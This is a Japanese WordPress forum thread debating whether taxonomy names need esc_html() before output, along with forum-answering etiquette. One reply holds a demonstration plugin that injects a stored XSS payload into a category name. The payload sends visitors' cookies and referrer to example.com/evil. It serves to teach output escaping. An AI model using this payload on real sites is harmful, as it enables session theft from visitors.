タクソノミーの名前取得
-
そのまま echo はやばいでしょう。
echo esc_html($taxonomy->name);
にするべきです。通常はタクソノミー名に記号の類いが含まれないので大丈夫のはずですが、安全なコードであることを確認しやすくするため、変数をそのまま echo するのは原則禁止とした方がよいです。
特に、フォーラムの利用者は「セキュリティーについて分かってない」人が多いため、そういう人に使わせるコードは「より安全なもの」であるべきです。# はっきり言うと、回答としてコードをいきなり書くのは「怠け者の質問者」を増やすので、やめて頂きたいです。コードを書くのは「最終手段」でしょう。
安易なのは回答なので気にしなくて OK ですよー > pluto1234
以下、kz の回答方針:
そのまま echo はやばい
・回答コードは基本コアコードに倣った書き方の最低限サンプル(※1)。
・$taxonomy->name やったらまー気にせんでええんちゃうんっていう判断。
・セキュリティとか例外処理は各自よきにはからってください。※1
single_cat_title(), single_tag_title()
がそのまま echo やしええやん、
ちゅう意味ではない。そもそも WordPress のコアコードがワヤくちゃやんけ
とか気になる方は文句言ってる時間があったら直してあげましょう。
だってオープンソースだもの。というわけで kz はキバリ過ぎないテキトウな回答をしますが
エスケープは大切な事なので皆さんの胸にしっかりと刻んでおいてください。回答としてコードをいきなり書くのは
・懇切丁寧回答は労多くして毛が抜けるので廃止しました。
・なんか日本語入力が面倒。
・わかってる事についてヒント出すとかはメンドクサイ。
・添削とかもメンドk
・どんなフォーラムでも結局どうなんってゆートピックは役に立ったことが無い。
・ダラダラ続くとマイナスオーラが出てくる。
・ズバッと解決する方が諸々好循環。「怠け者の質問者」を増やす
・怠け者は懇切丁寧回答されても変わらない。
・怠けない人はコードからしっかり学ぶ。
・あまりにひどい、という場合は回答していない。■何故回答するのか
・1つの質問でお世話になったので1万倍にして返す。
・どうなんだろと思って調べてコレか!と学ぶのが楽しい。※質問者のため、に回答してるわけじゃないという共学の私立!
■他人に対してモヤモヤしたときに思い出すこと。
・世の中は大多数のダメな人達で成り立っている。
・誰もが自分と同じように考え行動できるわけではない。
・正論で説いても逆効果。
・そんなときは自分からマイナスオーラが出ている。
・そんなマイナス野郎からは人が離れて行く。
・それで幸せか?
・他人に振り回されてるってことなんだぜ?
・どうなりたいんだ?
・変えられるのは自分だけだ。
・だったら他人には愛情を持って接し、毎日楽しく暮らそう。フォーラムに無関係なレスですみません、不適切でしたら削除願います > 管理人様。
とかウザイことは絶対書かないぜ。…という感じで回答してまーす。
モロ横やりっぽいので躊躇しましたが気になるのでポストします。
主観的な意見以外は kz さんの方針にはおおむね同意ですが1つの質問でお世話になったので1万倍にして返す。
と考えるのであれば不備のある発言はしない方がいいんじゃないでしょうか。
少なくとも”セキュリティについては自分で考慮しないと”と考えなければ使えないような中途半端なコードを張り付けるのは、お世話を返す気持ちからは矛盾しているように思えます。それに、IT セキュリティ的な犯罪につながる穴はこういった”ちょっとした気の緩み”から生まれるものです。
今でもワームの仕込まれたテーマが世界中で公開されているくらいなんですから、”大丈夫だろう”で雑なコード張り付けるのは、自己満足的なコードならばそれでいいでしょうが現場の人間からするとあり得ないです。どんなフォーラムでも結局どうなんってゆートピックは役に立ったことが無い。
これも、フォーラムのバックグラウンドにいる人たちの事をなにも考えてないと思います。回答するのは自由だと思いますが、ここのレスポンスに現れない人たちにとっても害のない回答を心がけるべきだと思います。
それが出来ないのであれば kz さんにとってはお礼のつもりかもしれませんが、誰かがその回答で大変な被害にあってしまうかもしれない事を考えて回答を控えるべきだと思います。これは僕の主観ですが、自己学習のための回答と時間的都合による質問という利害関係がフォーラムをナレッジベースへと成長させていくものだと思います。
そういった視点で見れば”めんどくさいから大体で答える”ってのはノイズだし、やもすればナレッジベースとしての価値や信頼性を奪う行為になりかねないので、めんどくさいならば無理に答える必要はないと思います。ご自身の質問に回答があってお世話になったと考えていらっしゃるのであれば、すくなくとも誠意をもって回答するべきではないでしょうか。
フォーラムのバックグラウンドにいらっしゃる様々な技術レベルの方々に
セキュリティの大切さを改めて認識していただく良い機会になったと思います。で、大切なのはわかったけども具体的に何がダメなのか自分では考慮できないよという
方々のために$wp_query->get_queried_object()->name
をそのまま
echo
することが如何に危険なのか、フォーラムをナレッジベースとして
より充実させるために想定される具体的な被害例を交えてご教授いただけますと幸いです。回答するのは自由だと思いますが、ここのレスポンスに現れない人たちにとっても害のない回答を心がけるべきだと思います。
(中略)
誰かがその回答で大変な被害にあってしまうかもしれない事を考えて回答を控えるべきだと思います。(もちろん、めんどくさいならば無理に答える必要はないですし、害のない回答を心がけるのは当然ですが)これだと私には怖くて簡単なアドバイスすらできなくなってしまいそうです。(それはそれで平和になるのかもしれませんが)でも…やはりもったいないというか寂しい気がします。私も影ながらlilyfanさんやkzさんや…その他大勢の皆様のお世話になっていますし。
せっかくのオープンソースなのですから、「いかなる個人やグループの参加も排除しない」という特徴を最大限に生かすべきだと思います。
例えば開発者、ユーザーなど、個性も違えば環境も違う、いろいろなバックグランドを持った人々がWordPressという一つのテーマについて意見交換し、それぞれの持てる断片を持ち寄って、一つのソフトをより良い方向へと導いていく、そんな活気のあるフォーラムであれば、誰かが意図せず不適切なアドバイスやコードを掲示したとしても、別の観点から、他の誰かが訂正してくれる可能性も高いでしょう(今回の件とか。でも訂正を期待してはいけません)し、バグの報告も速やかになされるはずです。
逆に、例えばME Support Forumのように(例示に悪気はありませんよ)、せっかく有意義な場所を提供していただいても、たいした意見交換も行われない「ように見える」フォーラムであれば、他の誰かが訂正してくれる可能性も相対的に低いですし、そもそも回答が少ないわけですから、ナレッジベースはおろか、「バグを報告しよう」という気すらしなくなりかねません。
また、フォーラムを価値あるナレッジベースとしてとらえる場合にしろ、その価値は日々の投稿の断片の積み重ねから生み出されている集合知的なモノといっても過言ではないでしょう。すなわち今日の時点で最善「だと思っていた」やり方が明日も最善であるとは限らないはずですから、気になった案件を次々と持ち寄れる雰囲気こそが、ナレッジベースとしてより充実させるためにも必要ではないでしょうか。
WordPressクラスのソフトウェアで引き合いに出すのは無茶とはいえ、GPLなモノを扱う以上、やはり
THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.
(『プログラム』の質や性能に関するリスクはすべてあなたに帰属する。)という雰囲気がそこかしこに存在するということだけは忘れないでほしい。なぜなら、(ソフトウェア本体が優れているかどうかはどうであれ)「より優れたサポート」を享受可能なソフトウェアが、世の中には少なくともいくつかは存在するのだから。おそらくこのサポートフォーラム「なんぞ」とは比べものにならないほど完璧なセキュリティ・ソリューションを提供してくれるでしょう。
…なんて思いました。つまるところ、サラダボール的な側面があってもいいのでは?という感じです。
$wp_query->get_queried_object()->name をそのまま
echo することが如何に危険なのか、フォーラムをナレッジベースとして
より充実させるために想定される具体的な被害例を交えてご教授いただけますと幸いです。前提として、被害例そのものは被害を受けた側がそれを公表するケースが稀であるため提示できる案件はないと思います。しかし、被害例そのものが無いからと言って”安全”であるとは言えないのもまた事実です。
そこで、考えられる攻撃手法を少しだけ例示します。
<?php /* Plugin Name: タクソノミーを悪用するテスト Plugin URI: http://example.com Description: このプラグインを有効化すると名前にクッキーを持ったままリダイレクトするタグが埋め込まれたタクソノミーが生成されます。 Author: SPaiS Inc. Version: 1.0.0 Author URI: http://spais.co.jp/ */ class evil_taxonomy{ function embed(){ global $wpdb; mysql_query("UPDATE {$wpdb->terms} SET name = '\"><a href=\"%e6%9c%aa%e5%88%86%e9%a1%9e\" onclick=\"location.href=\'http://example.com/evil?c=\'+document.cookie+'&r='+document.referrer;return false;\">未分類</a>' WHERE term_id = 1", $wpdb->dbh); } function evil_taxonomy(){ add_action('init', array(&$this, 'embed')); } } new evil_taxonomy;
このコードを適当な名前で保存して wp-content/plugins にアップロードしてプラグインを有効化してから一度でも WordPress にアクセスすれば”未分類”カテゴリの名前に JavaScript が埋め込まれます。
例示したコードではクッキーとリファラを別のサイトに送信するだけのものですので、そのままでログインセッションが抜かれるというものではありません。
また、他のデータを埋め込んだり、逆にクッキーに埋め込んだりする事でもっと様々な攻撃方法が考えられます。こういった攻撃方法が実際に使われているかどうかは知りませんが、今僕が10分程度で考えられるくらい簡単なコードでも例示できる以上、少し想像力を働かせれば危険である可能性に気づかれるはずです。
偏見かもしれませんが、質問される側の人は良く言えば純粋です。誰かが教えてくれるのは善意だという思いこみすら感じられます。
そういった人たちは世界中で公開されているプラグインやテーマを親切心から公開されているものだと勘違い(多くはそうですが)し、危険なコードが含まれていない事を確認したりはしません。
張り付けられたコードを鵜呑みにしてしまう人が公開されているプラグインのコードをレビューするなんてことは考えにくいですよね。それ自体はいい事でも悪い事でもありません。”よくある事”です。
しかし、そのまま使う事に危険な可能性のあるコードである事を知りながら、危険なままで張り付けるのは”悪意”です。
悪意というのはいいすぎかもしれませんが、少なくとも善意からではないと思います。
「○○にはどうやって行けばいいですか?」と聞かれた時、目的地に向かえる道は工事で通れない、というような際に通れない事は伏せておいて道を教えるようなものです。教えた相手が目の見えない、耳の聞こえない人ならば工事現場の近くを通る事自体が危険を生む可能性すらあります。
だからと言って、全てを理解していなければフォーラムに回答してはいけないのか、といったらそんなことはありません。間違っていてもいいと思います。今回の kz さんの書き込みには僕から見ても間違っていると感じる点があり、lilyfan さんがそこに言及したわけで、要するにフォーラムを利用する全ての人がお互いにフォローしあえるわけですから、間違い自体は悪ではありません。
むしろそこから広がる議論は有益ですらあると思います。今回も pluto1234 さんは esc_html() を知っていたかもしれませんし、知らないかもしれません。二つの可能性をはらんだ状態において誠実な対応は”より相手のためになるであろう”と考える事です。
その点、kz さんの書き込まれた内容は”pluto1234 さんが esc_html() でエスケープするべきである事を知らない可能性”を切り捨てたものであり、それはやもすれば役に立たないどころか危険な穴を生む可能性のある方法を提示されたとも言えるわけです。繰り返しますが、kz さんが知らなかったのならばいいんです。僕だって知らない事はたくさんあります。知らない事は罪でも悪でもないんです。大事な事を知っているのに教えなかったりするのがよくないんです。
kurosquare さんのおっしゃる事にももちろん一理あると思います。だからと言って、それが自己責任の名のもとに無責任な手助けを許す免罪符になるとも思えません。
少なくとも以前助けられた事に感じ入って、一万倍に返していると、kz さんはおっしゃっているわけですから、それならば”面倒くさい”というような理由で必要な事をあえて書かない選択肢をとるくらいなら最初から書かない方が恩返しにはなるんじゃないんでしょうか、というのが僕の意見です。セキュリティに鈍感な人間のサンプル事例として、その後の行動を記しておきます。
‘
echo esc_html($taxonomy->name);
にするべきです。
‘
esc_htmlってフォームからデータ受け取ったときにするもんで、テンプレートの段階でいちいちesc_html するものかなぁ???という認識のもと、(悪い方向で)鵜呑みにせず、
‘
taxonomy.php:
$wp_query->get_queried_object()->name
とesc_htmlせずのまま名前を参照。category.php、tag.php:
single_cat_title(), single_tag_title()も
$wp_query->get_queried_object()->name
に変更。
‘色々と議論がなされているので、実際に使用した Custom Post Type UI をちらりと見てみる。「ちゃんとesc_html してるじゃないか」ということでそのまま変更せず。
カテゴリ名/タグ名は、プラグインを使っていないということでチェックせずそのまま。spais さんの投稿を読むと、どうやらそれだけのチェックでは済まないような気がしてきましたが・・。
‘
公開されているプラグインのコードをレビューするなんてことは考えにくいですよね。
‘
したことはありません。悪意を発揮する労力を生産的な方向に使えば良いのに、と驚きつつ。
>kz さんが知らなかったのならばいいんです
知りませんでしたので大変勉強になりました。ありがとうございました。
>”面倒くさい”というような理由で必要な事をあえて書かない
メンドウなのは「怠け者の質問者を増やさないためにコードを書くのは最終手段にしよう」という回答手順のことですので誤解されませんよう。
・セキュリティとか例外処理は各自よきにはからってください。
そういう方針ならばこの注意書きを、*すべての*コード回答に注記してもらえれば構いません。問題なのは、「あくまで例示コードなのでセキュリティーとか適当」ということを理解していない人がそのまま使うことだからです。
で、フォーラムに質問するような人は、残念ながら「回答されたコードをコピペ」してしまうレベルの人が多いですので、そういう注意書きがないのは危険すぎるというわけです。
注意書きがあっても「そのままコピペ」してしまう人は少なからずいると思いますが、注意書きがあれば「自己責任」で済ませることができます。本当は、最初から
esc_html()
つきのコードでしたらコピペされても問題ないので、できればこれつきのコードでお願いします。よきにはからって、などの注記は常々書いてましたけど、ってご存知ですよね(はぁと
このひと月くらいはイチイチ書くのがメンドくさくてサボってましたー。出た不誠実。kz キャラも浸透しただろうフフフとか勝手に思ってるとこもありましたけど
新しい参加者は kz なんつっても知りませんね。てへ。セキュリティについてはそれほど明るくないながらも SQLインジェクション的な
ものについてはコワイので各所で気をつけるように努めています
(回答したことはないかもだけども)が、タクソノミー名の表示ごときでも
そこまで考慮せなアカンとは 2個上の返信まで思い至りませんでした。
ほぇーって感じです。素人的には、そこまで悪意があるならすでに SQL 自由自在なのにタクソノミー名に
XSS? 仕込む程度の割に合わんセコいことするのん?すげーなクラッカーって感じです。spais さんから現場の話が出てましたけど、オレの歩いてきた現場では
技術的に、理論的に、っていうよりは結局実際問題どうなんよ、って
ところが最も重要だったので、そういうバックグラウンドの違いはあるかもですね。spais さんがおっしゃるように
・被害例そのものが無いからと言って”安全”であるとは言えない
・セキュリティ的な犯罪につながる穴はこういった”ちょっとした気の緩みから生まれる
のはそうだろうなって思いますし、気をつけようとは思いますけども
セキュリティ意識の非常に高い方々に合わせて100%の回答を求められると
人間ですからうっかりしてることもあるので、それこそめんどくさいから
回答しないぜってなります。わぉ。オレはフォーラムは活気が一番大事だと思っています。
様々なソフトウエア(非WEB)の様々なフォーラムを長らく渡り歩いてきましたけど
1個目の回答が「ガイドラインを読め!」ばっかりだったり
いちいち本題と関係ないことで細かく注意されてたり
小出しヒントのあげく未解決だったり
やりとりが長くなって質問者がキレたり(&別の所で暴言吐いてたり)
てな所は、検索でたどり着いてもまったく役に立ったことは無いし
リアルタイムで見てたら心が痛くなるし、結局静まり返っているしで
ナレッジベース(笑 てな感じです。一方、グダグダ無しで鮮やかな回答が多いところは
誰かがウッカリミスってもすかさず別の誰かがフォロー&サンキューリプライ
でとても爽やかクールでした。オレもこの人達みたいになれるようにがんばるぞ。
と思った自分が今ここにいます。そういった経験から kz の回答スタイルができているのです。誰も聞いてませんか。
2行のコードをネタにここまで盛り上がれるのはステキだと思います。
バックグラウンドの方々は、おぉぉ炎上しておるではないか!と思われるかもですが
lilyfan さんのテキストが刺激的なのは関西ノリなだけでオレもそうだし
誰にもどこにも悪意も敵意もありません。なのでつっかかってこないでね(はぁと
次期 Ktai Entry にはオレの子供が組み込まれるし、WordCamp 名古屋のチームメイトで
仲良しなので安心してください。まーでもオレみたいなマッタリさんばかりじゃないのでフォーラムでツッコむなら
echo esc_html($taxonomy->name); ならなおステキ。
くらいがクールやーんって思います。
オレはね。誰にも強要してないぜ?とかイチイチ但し書くのがメンドkそうそう、もいっこフォーラムで大事にしてるのが、意見は投げつけないで見せる、です。
他人に対して意見はしない。他人の意見に対して、自分の意見を述べる。
改善点があるなら「こうするとより良いぜ」という伝え方をする。
そういう姿勢が社会=コミュニティで円滑に交流をするために大切だと
おばあちゃんが言ってました。
フォーラムでのやりとりが笑顔を生むかどうかって基準で考えると良いかもー。ところで、lilyfan さんとしては esc_html はただのキッカケで
いきなりコード回答はやめてが本題、だと思って
そういうストーリーでブログ記事を書いてますけど、OK ですか?
って、ここでほとんど書いてしもたがな。つか、なげーなオレ。ウザイ。
esc_htmlってフォームからデータ受け取ったときにするもんで、テンプレートの段階でいちいちesc_html するものかなぁ???という認識のもと
ここ一番重要なのですが、エスケープは基本的に乗り換えの際に行います。
乗換とは、クライアントからウェブサーバ、ウェブサーバからデータベースなど文字の取り扱い方法の違うプラットフォームへと移るタイミングです。逆にそれ以外のタイミングでエスケープを行っても意味がありません。なぜならば、HTML に対するエスケープと、PHP に対するエスケープ、データベースに対するエスケープはそれぞれ手法が異なるからです。
つまり、データベースに格納されたイコールデータベースに向けられたエスケープを行った、という事実があったとしても、HTML に向けたエスケープがされたという事実にはつながらない、という事です。
データがプラットフォームを乗り換える際にエスケープするのは、データベースに格納する際にデータベースに向けたエスケープを行ったから HTML に出力する際にはもうエスケープしなくてもいい、という間違いを防ぐ意味も込められています。
また、入り口でエスケープしてしまうとロジック内部でデータを処理したい際にいったんアンエスケープしなければならなくなる、という不合理さを排除する意味もあります。要するに、外から(フォームなど)来たデータだろうか、内から(データベースから抽出など)きたデータだろうが信用しないのが基本的なスタンスです。
セキュリティはやもすれば”難しい”ととらえられがちですが、上記のエスケープさえしっかり行っていれば7割くらいは大丈夫です。しかも WordPress の場合は esc_html() などの関数が用意されており、それらの関数は WordPress のバージョンアップに伴って成長を続けています。
つまり、自分が知らないセキュリティ事例に対していつのまにか対応してくれている可能性があるため、通常の使用で esc_html() などに依存しても自分で対応するよりも安全だと言えるわけです。僕のように仕事で WordPress を使っている人間は瑕疵担保責任と言って”どこまでを作った人間の責任にするか”という要素がお金や信用に大きくかかわっているので、自分の発言には極力責任を持つようビジネスだろうがプライベートだろうが気をつけていますが、kz さんのおっしゃるように発言の信頼性よりもまずノリが大事という意見にも一理あると思います。
ただ、僕が最初から一貫して意見しているのは”間違いは誰にでもある”という事と”知ったかぶって間違った意見を貫き通すのは人に迷惑がかかるのでやめてほしい”という2点だけです。
「あ、ミスッたな」というのは誰にでもあると思います。それこそ僕なんて毎日あって普通だと思っています。肝心なのはミスッたなと思った時素直に「今の自分の発言には間違いがあったので訂正します」と追記すれば良いだけだと思います。kz さんはご自身のスタンスを考慮してくれてもいいんじゃないか、とお考えのようですが、僕自身がコミュニティを円滑なものとすると考えている要素とはちょっと違うのですれ違ってしまっているのかなとも思います。
僕にとっては kz さんの自分フォロー的な発言がクールに見えなかったので意見しました。僕の本題とずれてしまったので閑話休題。
セキュリティについてはそれほど明るくないながらも SQLインジェクション的な
ものについてはコワイので各所で気をつけるように努めています素人的には、そこまで悪意があるならすでに SQL 自由自在なのにタクソノミー名に
XSS? 仕込む程度の割に合わんセコいことするのん?すげーなクラッカーって感じです。この二つの意見は矛盾を含んでいます。なぜならば、SQL インジェクションの多くが「そんなセコい事するの?」というような手法をツールを使って自動化した上で情報搾取の糸口にしています。つまり、犯罪に使われる穴はどれも小さなものなんです。
詳しいやり方は伏せますが、エスケープの小さな穴を縫って ascii コードに変換してから数値比較し、数値比較した結果の積み重ねでパスワードを推測していくような手法すらあります。そもそも、自分が悪い事しようと思った時、人通りの多い大通りに面した大きな入口よりも、誰にも気づかれないような小さな隙間から忍び込もうとは思いませんか?僕は思います。
だからこそ小さなほころびとはいえ気をつけなければならないんです。
セコいかどうかをセキュリティに対する指針としているのならば、安全なスタンスとは言えないのでお気を付け下さい。spais さんの投稿を読むと、どうやらそれだけのチェックでは済まないような気がしてきましたが・・。
この意見に対してフォローしようと書き込みましたが、余計な不安を与えてしまったかもしれません。
しかし、僕が今書いてきたセキュリティ的な問題点も、esc_html() や esc_attr()、esc_url() などと言った関数を使う事によって防げるケースがほとんどです。
SQL インジェクションにしても wpdb->prepare() などを使えばデータベースに向けたエスケープをしてくれます。繰り返しますが、セキュリティ犯罪の多くは”うっかり”だとか”ここは別にいいだろ”というような隙間を縫って訪れます。だからこそ、小さな穴だからと言って無視すべきではないんです。
フォーラムでは不特定多数の方が訪れます。
echo $taxonomy->name;
を見て「フォーラムに書いてあるんだから大丈夫だろう、セキュリティ的にもまーいいんじゃないの的な事が書いてあるし、そもそも回答するくらいなんだから精通してるんだろう」と判断するかもしれません。しないかもしれません。
でも大多数の人が上記のような判断を行う人たちだと僕は考えています。それがいいとか悪いとかという話じゃありません。
書いてある事が正しいかどうか判断するすべを持っていないからフォーラムに足を運んで情報を収集するのだと思いますので、前提として判らないんだと思います。そういった人たちに対して「まー大丈夫なんじゃないの」的無責任さで esc_html() するべきだと知っておきながらしない方法を教示するのは誠実だとは思えません。
少なくともご自身が質問に答えてもらった事に感じ入って回答する側に回った人の意見としては、恩義に報いていないと思います。一方、グダグダ無しで鮮やかな回答が多いところは
誰かがウッカリミスってもすかさず別の誰かがフォロー&サンキューリプライ
でとても爽やかクールでした。オレもこの人達みたいになれるようにがんばるぞ。
と思った自分が今ここにいます。この意見はとても素晴らしいと思います。だからこそ、最初に kz さんのフォローっぽい後付の意見を読んだときに「なんで間違った意見を言ったって判ってるのに”間違っていないよ、僕のスタンスはこうだから理解してよ”的な自分フォローを入れてるんだろう。それじゃ自分だけが満足するだけじゃん。せっかく lilyfan さんがフォロー入れたんだからありがとうくらい言ってもいいのに」って思ったので、横やりとは思ったけど意見させていただきました。
- トピック「タクソノミーの名前取得」には新たに返信することはできません。